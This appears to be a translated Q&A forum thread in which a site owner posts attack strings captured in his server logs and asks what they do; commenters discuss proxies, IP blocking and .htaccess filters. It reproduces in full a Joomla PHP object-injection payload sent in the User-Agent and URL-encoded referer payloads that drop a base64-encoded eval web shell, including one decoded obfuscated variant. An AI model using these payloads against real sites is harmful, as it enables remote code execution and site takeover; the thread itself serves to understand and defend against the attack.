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I found this in my error logs and security search, yet I’ll study, but maybe someone has seen?
1 attempt
The codes were captured from a connection and taken from PHP’s GLOBAL $_SERVER with the values in the HTTP_USER_AGENT and HTTP_REFERER indexes :
the following code was received as user-agent:
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}?
the following code was received as user-referer:
/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
ip: 178.219.243.167
178.219.243.167 AU Sevastopol, Sebastopol City, Ukraine, Europe 90022 44.5888, 33.5224 500 Scientific-Industrial Enterprise Myst LLC Scientific-Industrial Enterprise Myst LLC sevstar.net
2 try just now
the following code was received as user-referer:
/?fbclid=IwAR3x4bqG8uS4DfqYdfahS2CSxkAoWFuEn2kmUlysYXaeV7tx77x1Ip4zglo
ip: 31.13.115.14
31.13.115.14 US United States, North America 37,751, -97.822 1000 Facebook Ireland Ltd Facebook
3 try now at 21:48
the following code was received as user-referer:
__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?
the following code was received as user-referer:
/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD8kX3VVPWNocig5OSkuY2hyKDEwNCkuY2hyKDExNCk7JF9jQz0kX3VVKDEwMSkuJF91VSgxMTgpLiRfdVUoOTcpLiRfdVUoMTA4KS4kX3VVKDQwKS4kX3VVKDM2KS4kX3VVKDk1KS4kX3VVKDgwKS4kX3VVKDc5KS4kX3VVKDgzKS4kX3VVKDg0KS4kX3VVKDkxKS4kX3VVKDQ5KS4kX3VVKDkzKS4kX3VVKDQxKS4kX3VVKDU5KTskX2ZGPSRfdVUoOTkpLiRfdVUoMTE0KS4kX3VVKDEwMSkuJF91VSg5NykuJF91VSgxMTYpLiRfdVUoMTAxKS4kX3VVKDk1KS4kX3VVKDEwMikuJF91VSgxMTcpLiRfdVUoMTEwKS4kX3VVKDk5KS4kX3VVKDExNikuJF91VSgxMDUpLiRfdVUoMTExKS4kX3VVKDExMCk7JF89JF9mRigiIiwkX2NDKTtAJF8oKTs/Pg%3D%3D%27%29%29%3Becho%20%27%7C%3C-%27%3B
Deciphering the value coming in BASE64 the result is as follows:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
I have no idea what this php script above does!
ip: 142.93.52.63
142.93.52.63 US North Bergen, New Jersey, United States, North America 07047 40,793, -74.0247 1000 Digital Ocean Digital Ocean 501
I will not block the ip for search reasons...
What would be the best steps to take for these ips?
From the research I’ve done, this attack works on the platforms they use Joomla, tip for those who use!
Please help keep the internet a safe place! = D
That IP is currently from the city of Sevastopol in Ukraine, then probably yes. Imagnino that does not have many users accessing its application from europe
– Costamilam
@Costamilam this, I did a geoip search to identify and saved the data to take the necessary steps.
– user78859
Assuming you have htaccess enabled in your hosting, it could make a filter for user-Agents and sqlmap as well, so it does not protect 100% but avoids many other problems with unoccupied.
– ElvisP
@Eliseub. I have filter and . htaccess yes, sql filter and a check of char by char, I believe it will have to try a lot yet and the system ta in test, should be boot.
– user78859
That one ip
178.219.243.167
is an anonymous proxy178.219.243.167, 61746, UA, Ukraine, Socks4, Anonymous, Yes, 1 minute ago
.– Augusto Vasques
@Augustovasques good bro, did not know, so no use blocking, that’s it?
– user78859
I discovered some things of this Racker, [email protected], in this link with even Ttack made here.. https://security.stackexchange.com/questions/117433/i-think-my-site-was-hacked-cansomeone-explain-the-get-http-1-0-garbage-in, tries to load 4 files from this link too, Pastebin.com/raw/vdU1gPBk... had to catch a guy from this =D
– user78859